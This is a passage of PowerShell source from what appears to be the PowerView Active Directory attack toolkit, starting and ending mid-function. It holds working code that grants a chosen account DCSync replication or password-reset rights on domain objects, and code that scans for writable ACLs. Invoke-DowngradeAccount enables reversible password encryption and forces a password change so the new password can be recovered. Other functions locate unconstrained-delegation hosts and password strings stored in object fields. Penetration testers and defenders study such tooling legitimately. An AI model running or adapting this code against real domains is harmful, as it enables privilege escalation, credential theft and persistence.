[String]\n        $TargetDistinguishedName = \"*\",\n\n        [String]\n        $TargetFilter,\n\n        [String]\n        $TargetADSpath,\n\n        [String]\n        $TargetADSprefix,\n\n        [String]\n        [ValidatePattern('^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+')]\n        $PrincipalSID,\n\n        [String]\n        $PrincipalName,\n\n        [String]\n        $PrincipalSamAccountName,\n\n        [String]\n        [ValidateSet(\"All\",\"ResetPassword\",\"WriteMembers\",\"DCSync\")]\n        $Rights = \"All\",\n\n        [String]\n        $RightsGUID,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200\n    )\n\n    begin {\n        $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $TargetADSpath -ADSprefix $TargetADSprefix -PageSize $PageSize\n\n        if($PrincipalSID) {\n            $ResolvedPrincipalSID = $PrincipalSID\n        }\n        else {\n            $Principal = Get-ADObject -Domain $Domain -DomainController $DomainController -Name $PrincipalName -SamAccountName $PrincipalSamAccountName -PageSize $PageSize\n            \n            if(!$Principal) {\n                throw \"Error resolving principal\"\n            }\n            $ResolvedPrincipalSID = $Principal.objectsid\n        }\n        if(!$ResolvedPrincipalSID) {\n            throw \"Error resolving principal\"\n        }\n    }\n\n    process {\n\n        if ($Searcher) {\n\n            if($TargetSamAccountName) {\n                $Searcher.filter=\"(&(samaccountname=$TargetSamAccountName)(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)\"  \n            }\n            else {\n                $Searcher.filter=\"(&(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)\"  \n            }\n  \n            try {\n                $Results = $Searcher.FindAll()\n                $Results | Where-Object {$_} | ForEach-Object {\n\n                    # adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects\n\n                    $TargetDN = $_.Properties.distinguishedname\n\n                    $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ResolvedPrincipalSID)\n                    $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] \"None\"\n                    $ControlType = [System.Security.AccessControl.AccessControlType] \"Allow\"\n                    $ACEs = @()\n\n                    if($RightsGUID) {\n                        $GUIDs = @($RightsGUID)\n                    }\n                    else {\n                        $GUIDs = Switch ($Rights) {\n                            # ResetPassword doesn't need to know the user's current password\n                            \"ResetPassword\" { \"00299570-246d-11d0-a768-00aa006e0529\" }\n                            # allows for the modification of group membership\n                            \"WriteMembers\" { \"bf9679c0-0de6-11d0-a285-00aa003049e2\" }\n                            # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2\n                            # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2\n                            # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c\n                            #   when applied to a domain's ACL, allows for the use of DCSync\n                            \"DCSync\" { \"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2\", \"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2\", \"89e95b76-444d-4c62-991a-0facbeda640c\"}\n                        }\n                    }\n\n                    if($GUIDs) {\n                        foreach($GUID in $GUIDs) {\n                            $NewGUID = New-Object Guid $GUID\n                            $ADRights = [System.DirectoryServices.ActiveDirectoryRights] \"ExtendedRight\"\n                            $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$NewGUID,$InheritanceType\n                        }\n                    }\n                    else {\n                        # deault to GenericAll rights\n                        $ADRights = [System.DirectoryServices.ActiveDirectoryRights] \"GenericAll\"\n                        $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$InheritanceType\n                    }\n\n                    Write-Verbose \"Granting principal $ResolvedPrincipalSID '$Rights' on $($_.Properties.distinguishedname)\"\n\n                    try {\n                        # add all the new ACEs to the specified object\n                        ForEach ($ACE in $ACEs) {\n                            Write-Verbose \"Granting principal $ResolvedPrincipalSID '$($ACE.ObjectType)' rights on $($_.Properties.distinguishedname)\"\n                            $Object = [adsi]($_.path)\n                            $Object.PsBase.ObjectSecurity.AddAccessRule($ACE)\n                            $Object.PsBase.commitchanges()\n                        }\n                    }\n                    catch {\n                        Write-Warning \"Error granting principal $ResolvedPrincipalSID '$Rights' on $TargetDN : $_\"\n                    }\n                }\n                $Results.dispose()\n                $Searcher.dispose()\n            }\n            catch {\n                Write-Warning \"Error: $_\"\n            }\n        }\n    }\n}\n\n\nfunction Invoke-ACLScanner {\n<#\n    .SYNOPSIS\n        Searches for ACLs for specifable AD objects (default to all domain objects)\n        with a domain sid of > -1000, and have modifiable rights.\n\n        Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.\n\n    .PARAMETER SamAccountName\n\n        Object name to filter for.        \n\n    .PARAMETER Name\n\n        Object name to filter for.\n\n    .PARAMETER DistinguishedName\n\n        Object distinguished name to filter for.\n\n    .PARAMETER Filter\n\n        A customized ldap filter string to use, e.g. \"(description=*admin*)\"\n     \n    .PARAMETER ADSpath\n\n        The LDAP source to search through, e.g. \"LDAP://OU=secret,DC=testlab,DC=local\"\n        Useful for OU queries.\n\n    .PARAMETER ADSprefix\n\n        Prefix to set for the searcher (like \"CN=Sites,CN=Configuration\")\n\n    .PARAMETER Domain\n\n        The domain to use for the query, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER ResolveGUIDs\n\n        Switch. Resolve GUIDs to their display names.\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-ACLScanner -ResolveGUIDs | Export-CSV -NoTypeInformation acls.csv\n\n        Enumerate all modifable ACLs in the current domain, resolving GUIDs to display \n        names, and export everything to a .csv\n#>\n\n    [CmdletBinding()]\n    Param (\n        [Parameter(ValueFromPipeline=$True)]\n        [String]\n        $SamAccountName,\n\n        [String]\n        $Name = \"*\",\n\n        [Alias('DN')]\n        [String]\n        $DistinguishedName = \"*\",\n\n        [String]\n        $Filter,\n\n        [String]\n        $ADSpath,\n\n        [String]\n        $ADSprefix,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [Switch]\n        $ResolveGUIDs,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200\n    )\n\n    # Get all domain ACLs with the appropriate parameters\n    Get-ObjectACL @PSBoundParameters | ForEach-Object {\n        # add in the translated SID for the object identity\n        $_ | Add-Member Noteproperty 'IdentitySID' ($_.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]).Value)\n        $_\n    } | Where-Object {\n        # check for any ACLs with SIDs > -1000\n        try {\n            # TODO: change this to a regex for speedup?\n            [int]($_.IdentitySid.split(\"-\")[-1]) -ge 1000\n        }\n        catch {}\n    } | Where-Object {\n        # filter for modifiable rights\n        ($_.ActiveDirectoryRights -eq \"GenericAll\") -or ($_.ActiveDirectoryRights -match \"Write\") -or ($_.ActiveDirectoryRights -match \"Create\") -or ($_.ActiveDirectoryRights -match \"Delete\") -or (($_.ActiveDirectoryRights -match \"ExtendedRight\") -and ($_.AccessControlType -eq \"Allow\"))\n    }\n}\n\n\nfilter Get-GUIDMap {\n<#\n    .SYNOPSIS\n\n        Helper to build a hash table of [GUID] -> resolved names\n\n        Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx\n\n    .PARAMETER Domain\n    \n        The domain to use for the query, defaults to the current domain.\n\n    .PARAMETER DomainController\n    \n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .LINK\n\n        http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx\n#>\n\n    [CmdletBinding()]\n    Param (\n        [Parameter(ValueFromPipeline=$True)]\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200\n    )\n\n    $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'}\n\n    $SchemaPath = (Get-NetForest).schema.name\n\n    $SchemaSearcher = Get-DomainSearcher -ADSpath $SchemaPath -DomainController $DomainController -PageSize $PageSize\n    if($SchemaSearcher) {\n        $SchemaSearcher.filter = \"(schemaIDGUID=*)\"\n        try {\n            $Results = $SchemaSearcher.FindAll()\n            $Results | Where-Object {$_} | ForEach-Object {\n                # convert the GUID\n                $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0]\n            }\n            $Results.dispose()\n            $SchemaSearcher.dispose()\n        }\n        catch {\n            Write-Verbose \"Error in building GUID map: $_\"\n        }\n    }\n\n    $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace(\"Schema\",\"Extended-Rights\") -DomainController $DomainController -PageSize $PageSize -Credential $Credential\n    if ($RightsSearcher) {\n        $RightsSearcher.filter = \"(objectClass=controlAccessRight)\"\n        try {\n            $Results = $RightsSearcher.FindAll()\n            $Results | Where-Object {$_} | ForEach-Object {\n                # convert the GUID\n                $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0]\n            }\n            $Results.dispose()\n            $RightsSearcher.dispose()\n        }\n        catch {\n            Write-Verbose \"Error in building GUID map: $_\"\n        }\n    }\n\n    $GUIDs\n}\n\n\nfunction Get-NetComputer {\n<#\n    .SYNOPSIS\n\n        This function utilizes adsisearcher to query the current AD context\n        for current computer objects. Based off of Carlos Perez's Audit.psm1\n        script in Posh-SecMod (link below).\n\n    .PARAMETER ComputerName\n\n        Return computers with a specific name, wildcards accepted.\n\n    .PARAMETER SPN\n\n        Return computers with a specific service principal name, wildcards accepted.\n\n    .PARAMETER OperatingSystem\n\n        Return computers with a specific operating system, wildcards accepted.\n\n    .PARAMETER ServicePack\n\n        Return computers with a specific service pack, wildcards accepted.\n\n    .PARAMETER Filter\n\n        A customized ldap filter string to use, e.g. \"(description=*admin*)\"\n\n    .PARAMETER Printers\n\n        Switch. Return only printers.\n\n    .PARAMETER Ping\n\n        Switch. Ping each host to ensure it's up before enumerating.\n\n    .PARAMETER FullData\n\n        Switch. Return full computer objects instead of just system names (the default).\n\n    .PARAMETER Domain\n\n        The domain to query for computers, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER ADSpath\n\n        The LDAP source to search through, e.g. \"LDAP://OU=secret,DC=testlab,DC=local\"\n        Useful for OU queries.\n    \n    .PARAMETER SiteName\n\n        The AD Site name to search for computers.\n\n    .PARAMETER Unconstrained\n\n        Switch. Return computer objects that have unconstrained delegation.\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetComputer\n        \n        Returns the current computers in current domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetComputer -SPN mssql*\n        \n        Returns all MS SQL servers on the domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetComputer -Domain testing\n        \n        Returns the current computers in 'testing' domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetComputer -Domain testing -FullData\n        \n        Returns full computer objects in the 'testing' domain.\n\n    .LINK\n\n        https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1\n#>\n\n    [CmdletBinding()]\n    Param (\n        [Parameter(ValueFromPipeline=$True)]\n        [Alias('HostName')]\n        [String]\n        $ComputerName = '*',\n\n        [String]\n        $SPN,\n\n        [String]\n        $OperatingSystem,\n\n        [String]\n        $ServicePack,\n\n        [String]\n        $Filter,\n\n        [Switch]\n        $Printers,\n\n        [Switch]\n        $Ping,\n\n        [Switch]\n        $FullData,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [String]\n        $ADSpath,\n\n        [String]\n        $SiteName,\n\n        [Switch]\n        $Unconstrained,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    begin {\n        # so this isn't repeated if multiple computer names are passed on the pipeline\n        $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize -Credential $Credential\n    }\n\n    process {\n\n        if ($CompSearcher) {\n\n            # if we're checking for unconstrained delegation\n            if($Unconstrained) {\n                Write-Verbose \"Searching for computers with for unconstrained delegation\"\n                $Filter += \"(userAccountControl:1.2.840.113556.1.4.803:=524288)\"\n            }\n            # set the filters for the seracher if it exists\n            if($Printers) {\n                Write-Verbose \"Searching for printers\"\n                # $CompSearcher.filter=\"(&(objectCategory=printQueue)$Filter)\"\n                $Filter += \"(objectCategory=printQueue)\"\n            }\n            if($SPN) {\n                Write-Verbose \"Searching for computers with SPN: $SPN\"\n                $Filter += \"(servicePrincipalName=$SPN)\"\n            }\n            if($OperatingSystem) {\n                $Filter += \"(operatingsystem=$OperatingSystem)\"\n            }\n            if($ServicePack) {\n                $Filter += \"(operatingsystemservicepack=$ServicePack)\"\n            }\n            if($SiteName) {\n                $Filter += \"(serverreferencebl=$SiteName)\"\n            }\n\n            $CompFilter = \"(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)\"\n            Write-Verbose \"Get-NetComputer filter : '$CompFilter'\"\n            $CompSearcher.filter = $CompFilter\n\n            try {\n                $Results = $CompSearcher.FindAll()\n                $Results | Where-Object {$_} | ForEach-Object {\n                    $Up = $True\n                    if($Ping) {\n                        # TODO: how can these results be piped to ping for a speedup?\n                        $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname\n                    }\n                    if($Up) {\n                        # return full data objects\n                        if ($FullData) {\n                            # convert/process the LDAP fields for each result\n                            $Computer = Convert-LDAPProperty -Properties $_.Properties\n                            $Computer.PSObject.TypeNames.Add('PowerView.Computer')\n                            $Computer\n                        }\n                        else {\n                            # otherwise we're just returning the DNS host name\n                            $_.properties.dnshostname\n                        }\n                    }\n                }\n                $Results.dispose()\n                $CompSearcher.dispose()\n            }\n            catch {\n                Write-Warning \"Error: $_\"\n            }\n        }\n    }\n}\n\n\nfunction Get-ADObject {\n<#\n    .SYNOPSIS\n\n        Takes a domain SID and returns the user, group, or computer object\n        associated with it.\n\n    .PARAMETER SID\n\n        The SID of the domain object you're querying for.\n\n    .PARAMETER Name\n\n        The Name of the domain object you're querying for.\n\n    .PARAMETER SamAccountName\n\n        The SamAccountName of the domain object you're querying for. \n\n    .PARAMETER Domain\n\n        The domain to query for objects, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER ADSpath\n\n        The LDAP source to search through, e.g. \"LDAP://OU=secret,DC=testlab,DC=local\"\n        Useful for OU queries.\n\n    .PARAMETER Filter\n\n        Additional LDAP filter string for the query.\n\n    .PARAMETER ReturnRaw\n\n        Switch. Return the raw object instead of translating its properties.\n        Used by Set-ADObject to modify object properties.\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-ADObject -SID \"S-1-5-21-2620891829-2411261497-1773853088-1110\"\n        \n        Get the domain object associated with the specified SID.\n        \n    .EXAMPLE\n\n        PS C:\\> Get-ADObject -ADSpath \"CN=AdminSDHolder,CN=System,DC=testlab,DC=local\"\n        \n        Get the AdminSDHolder object for the testlab.local domain.\n#>\n\n    [CmdletBinding()]\n    Param (\n        [Parameter(ValueFromPipeline=$True)]\n        [String]\n        $SID,\n\n        [String]\n        $Name,\n\n        [String]\n        $SamAccountName,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [String]\n        $ADSpath,\n\n        [String]\n        $Filter,\n\n        [Switch]\n        $ReturnRaw,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n    process {\n        if($SID) {\n            # if a SID is passed, try to resolve it to a reachable domain name for the searcher\n            try {\n                $Name = Convert-SidToName $SID\n                if($Name) {\n                    $Canonical = Convert-ADName -ObjectName $Name -InputType NT4 -OutputType Canonical\n                    if($Canonical) {\n                        $Domain = $Canonical.split(\"/\")[0]\n                    }\n                    else {\n                        Write-Warning \"Error resolving SID '$SID'\"\n                        return $Null\n                    }\n                }\n            }\n            catch {\n                Write-Warning \"Error resolving SID '$SID' : $_\"\n                return $Null\n            }\n        }\n\n        $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize\n\n        if($ObjectSearcher) {\n            if($SID) {\n                $ObjectSearcher.filter = \"(&(objectsid=$SID)$Filter)\"\n            }\n            elseif($Name) {\n                $ObjectSearcher.filter = \"(&(name=$Name)$Filter)\"\n            }\n            elseif($SamAccountName) {\n                $ObjectSearcher.filter = \"(&(samAccountName=$SamAccountName)$Filter)\"\n            }\n\n            $Results = $ObjectSearcher.FindAll()\n            $Results | Where-Object {$_} | ForEach-Object {\n                if($ReturnRaw) {\n                    $_\n                }\n                else {\n                    # convert/process the LDAP fields for each result\n                    Convert-LDAPProperty -Properties $_.Properties\n                }\n            }\n            $Results.dispose()\n            $ObjectSearcher.dispose()\n        }\n    }\n}\n\n\nfunction Set-ADObject {\n<#\n    .SYNOPSIS\n\n        Takes a SID, name, or SamAccountName to query for a specified\n        domain object, and then sets a specified 'PropertyName' to a\n        specified 'PropertyValue'.\n\n    .PARAMETER SID\n\n        The SID of the domain object you're querying for.\n\n    .PARAMETER Name\n\n        The Name of the domain object you're querying for.\n\n    .PARAMETER SamAccountName\n\n        The SamAccountName of the domain object you're querying for. \n\n    .PARAMETER Domain\n\n        The domain to query for objects, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER Filter\n\n        Additional LDAP filter string for the query.\n\n    .PARAMETER PropertyName\n\n        The property name to set.\n\n    .PARAMETER PropertyValue\n\n        The value to set for PropertyName\n\n    .PARAMETER PropertyXorValue\n\n        Integer value to binary xor (-bxor) with the current int value.\n\n    .PARAMETER ClearValue\n\n        Switch. Clear the value of PropertyName\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS C:\\> Set-ADObject -SamAccountName matt.admin -PropertyName countrycode -PropertyValue 0\n        \n        Set the countrycode for matt.admin to 0\n\n    .EXAMPLE\n\n        PS C:\\> Set-ADObject -SamAccountName matt.admin -PropertyName useraccountcontrol -PropertyXorValue 65536\n        \n        Set the password not to expire on matt.admin\n#>\n\n    [CmdletBinding()]\n    Param (\n        [String]\n        $SID,\n\n        [String]\n        $Name,\n\n        [String]\n        $SamAccountName,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [String]\n        $Filter,\n\n        [Parameter(Mandatory = $True)]\n        [String]\n        $PropertyName,\n\n        $PropertyValue,\n\n        [Int]\n        $PropertyXorValue,\n\n        [Switch]\n        $ClearValue,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    $Arguments = @{\n        'SID' = $SID\n        'Name' = $Name\n        'SamAccountName' = $SamAccountName\n        'Domain' = $Domain\n        'DomainController' = $DomainController\n        'Filter' = $Filter\n        'PageSize' = $PageSize\n        'Credential' = $Credential\n    }\n    # splat the appropriate arguments to Get-ADObject\n    $RawObject = Get-ADObject -ReturnRaw @Arguments\n    \n    try {\n        # get the modifiable object for this search result\n        $Entry = $RawObject.GetDirectoryEntry()\n        \n        if($ClearValue) {\n            Write-Verbose \"Clearing value\"\n            $Entry.$PropertyName.clear()\n            $Entry.commitchanges()\n        }\n\n        elseif($PropertyXorValue) {\n            $TypeName = $Entry.$PropertyName[0].GetType().name\n\n            # UAC value references- https://support.microsoft.com/en-us/kb/305144\n            $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue \n            $Entry.$PropertyName = $PropertyValue -as $TypeName       \n            $Entry.commitchanges()     \n        }\n\n        else {\n            $Entry.put($PropertyName, $PropertyValue)\n            $Entry.setinfo()\n        }\n    }\n    catch {\n        Write-Warning \"Error setting property $PropertyName to value '$PropertyValue' for object $($RawObject.Properties.samaccountname) : $_\"\n    }\n}\n\n\nfunction Invoke-DowngradeAccount {\n<#\n    .SYNOPSIS\n\n        Set reversible encryption on a given account and then force the password\n        to be set on next user login. To repair use \"-Repair\".\n\n    .PARAMETER SamAccountName\n\n        The SamAccountName of the domain object you're querying for. \n\n    .PARAMETER Name\n\n        The Name of the domain object you're querying for.\n\n    .PARAMETER Domain\n\n        The domain to query for objects, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER Filter\n\n        Additional LDAP filter string for the query.\n\n    .PARAMETER Repair\n\n        Switch. Unset the reversible encryption flag and force password reset flag.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS> Invoke-DowngradeAccount -SamAccountName jason\n\n        Set reversible encryption on the 'jason' account and force the password to be changed.\n\n    .EXAMPLE\n\n        PS> Invoke-DowngradeAccount -SamAccountName jason -Repair\n\n        Unset reversible encryption on the 'jason' account and remove the forced password change.\n#>\n\n    [CmdletBinding()]\n    Param (\n        [Parameter(ParameterSetName = 'SamAccountName', Position=0, ValueFromPipeline=$True)]\n        [String]\n        $SamAccountName,\n\n        [Parameter(ParameterSetName = 'Name')]\n        [String]\n        $Name,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [String]\n        $Filter,\n\n        [Switch]\n        $Repair,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    process {\n        $Arguments = @{\n            'SamAccountName' = $SamAccountName\n            'Name' = $Name\n            'Domain' = $Domain\n            'DomainController' = $DomainController\n            'Filter' = $Filter\n            'Credential' = $Credential\n        }\n\n        # splat the appropriate arguments to Get-ADObject\n        $UACValues = Get-ADObject @Arguments | select useraccountcontrol | ConvertFrom-UACValue\n\n        if($Repair) {\n\n            if($UACValues.Keys -contains \"ENCRYPTED_TEXT_PWD_ALLOWED\") {\n                # if reversible encryption is set, unset it\n                Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128\n            }\n\n            # unset the forced password change\n            Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue -1\n        }\n\n        else {\n\n            if($UACValues.Keys -contains \"DONT_EXPIRE_PASSWORD\") {\n                # if the password is set to never expire, unset\n                Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 65536\n            }\n\n            if($UACValues.Keys -notcontains \"ENCRYPTED_TEXT_PWD_ALLOWED\") {\n                # if reversible encryption is not set, set it\n                Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128\n            }\n\n            # force the password to be changed on next login\n            Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue 0\n        }\n    }\n}\n\n\nfunction Get-ComputerProperty {\n<#\n    .SYNOPSIS\n\n        Returns a list of all computer object properties. If a property\n        name is specified, it returns all [computer:property] values.\n\n        Taken directly from @obscuresec's post:\n            http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html\n\n    .PARAMETER Properties\n\n        Return property names for computers.\n\n    .PARAMETER Domain\n\n        The domain to query for computer properties, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-ComputerProperty -Domain testing\n        \n        Returns all user properties for computers in the 'testing' domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-ComputerProperty -Properties ssn,lastlogon,location\n        \n        Returns all an array of computer/ssn/lastlogin/location combinations\n        for computers in the current domain.\n\n    .LINK\n\n        http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html\n#>\n\n    [CmdletBinding()]\n    param(\n        [String[]]\n        $Properties,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    if($Properties) {\n        # extract out the set of all properties for each object\n        $Properties = ,\"name\" + $Properties | Sort-Object -Unique\n        Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -Property $Properties\n    }\n    else {\n        # extract out just the property names\n        Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property \"Name\"\n    }\n}\n\n\nfunction Find-ComputerField {\n<#\n    .SYNOPSIS\n\n        Searches computer object fields for a given word (default *pass*). Default\n        field being searched is 'description'.\n\n        Taken directly from @obscuresec's post:\n            http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html\n\n    .PARAMETER SearchTerm\n\n        Term to search for, default of \"pass\".\n\n    .PARAMETER SearchField\n\n        User field to search in, default of \"description\".\n\n    .PARAMETER ADSpath\n\n        The LDAP source to search through, e.g. \"LDAP://OU=secret,DC=testlab,DC=local\"\n        Useful for OU queries.\n\n    .PARAMETER Domain\n\n        Domain to search computer fields for, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS C:\\> Find-ComputerField -SearchTerm backup -SearchField info\n\n        Find computer accounts with \"backup\" in the \"info\" field.\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(Position=0,ValueFromPipeline=$True)]\n        [Alias('Term')]\n        [String]\n        $SearchTerm = 'pass',\n\n        [Alias('Field')]\n        [String]\n        $SearchField = 'description',\n\n        [String]\n        $ADSpath,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    process {\n        Get-NetComputer -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter \"($SearchField=*$SearchTerm*)\" -PageSize $PageSize | Select-Object samaccountname,$SearchField\n    }\n}\n\n\nfunction Get-NetOU {\n<#\n    .SYNOPSIS\n\n        Gets a list of all current OUs in a domain.\n\n    .PARAMETER OUName\n\n        The OU name to query for, wildcards accepted.\n\n    .PARAMETER GUID\n\n        Only return OUs with the specified GUID in their gplink property.\n\n    .PARAMETER Domain\n\n        The domain to query for OUs, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER ADSpath\n\n        The LDAP source to search through.\n\n    .PARAMETER FullData\n\n        Switch. Return full OU objects instead of just object names (the default).\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetOU\n        \n        Returns the current OUs in the domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetOU -OUName *admin* -Domain testlab.local\n        \n        Returns all OUs with \"admin\" in their name in the testlab.local domain.\n\n     .EXAMPLE\n\n        PS C:\\> Get-NetOU -GUID 123-...\n        \n        Returns all OUs with linked to the specified group policy object.\n\n     .EXAMPLE\n\n        PS C:\\> \"*admin*\",\"*server*\" | Get-NetOU\n\n        Get the full OU names for the given search terms piped on the pipeline.\n#>\n\n    [CmdletBinding()]\n    Param (\n        [Parameter(ValueFromPipeline=$True)]\n        [String]\n        $OUName = '*',\n\n        [String]\n        $GUID,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [String]\n        $ADSpath,\n\n        [Switch]\n        $FullData,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    begin {\n        $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize\n    }\n    process {\n        if ($OUSearcher) {\n            if ($GUID) {\n                # if we're filtering for a GUID in .gplink\n                $OUSearcher.filter=\"(&(objectCategory=organizationalUnit)(name=$OUName)(gplink=*$GUID*))\"\n            }\n            else {\n                $OUSearcher.filter=\"(&(objectCategory=organizationalUnit)(name=$OUName))\"\n            }\n\n            try {\n                $Results = $OUSearcher.FindAll()\n                $Results | Where-Object {$_} | ForEach-Object {\n                    if ($FullData) {\n                        # convert/process the LDAP fields for each result\n                        $OU = Convert-LDAPProperty -Properties $_.Properties\n                        $OU.PSObject.TypeNames.Add('PowerView.OU')\n                        $OU\n                    }\n                    else { \n                        # otherwise just returning 